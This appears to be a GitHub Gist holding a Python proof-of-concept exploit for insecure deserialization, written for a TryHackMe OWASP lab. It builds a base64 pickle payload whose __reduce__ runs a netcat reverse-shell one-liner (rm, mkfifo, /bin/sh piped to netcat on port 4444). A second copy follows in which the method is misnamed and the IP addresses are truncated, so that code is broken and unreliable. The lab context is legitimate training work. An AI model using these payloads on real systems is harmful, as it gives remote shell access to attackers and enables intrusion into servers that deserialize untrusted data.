-
-
Save 1UC1F3R616/afb89c6dfcd5c1b835c59f2e07fdc313 to your computer and use it in GitHub Desktop.
TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import sys | |
import base64 | |
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f' | |
class rce(object): | |
def __reduce__(self): | |
import os | |
return (os.system,(command,)) | |
print(base64.b64encode(pickle.dumps(rce()))) |
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.92.85 4444 > /tmp/f'
class rce(object):
def reduce(self):
import os
return (os.system,(command,))
payL = base64.b64encode(pickle.dumps(rce()))
print(payL)
res = pickle.loads(base64.b64decode(payL))
print(res)
payL2 = base64.b64encode(pickle.dumps('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.9.9 4444 > /tmp/f'))
print(payL2)
res2 = pickle.loads(base64.b64decode(payL2))
print(res2)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
this encode it so that it executes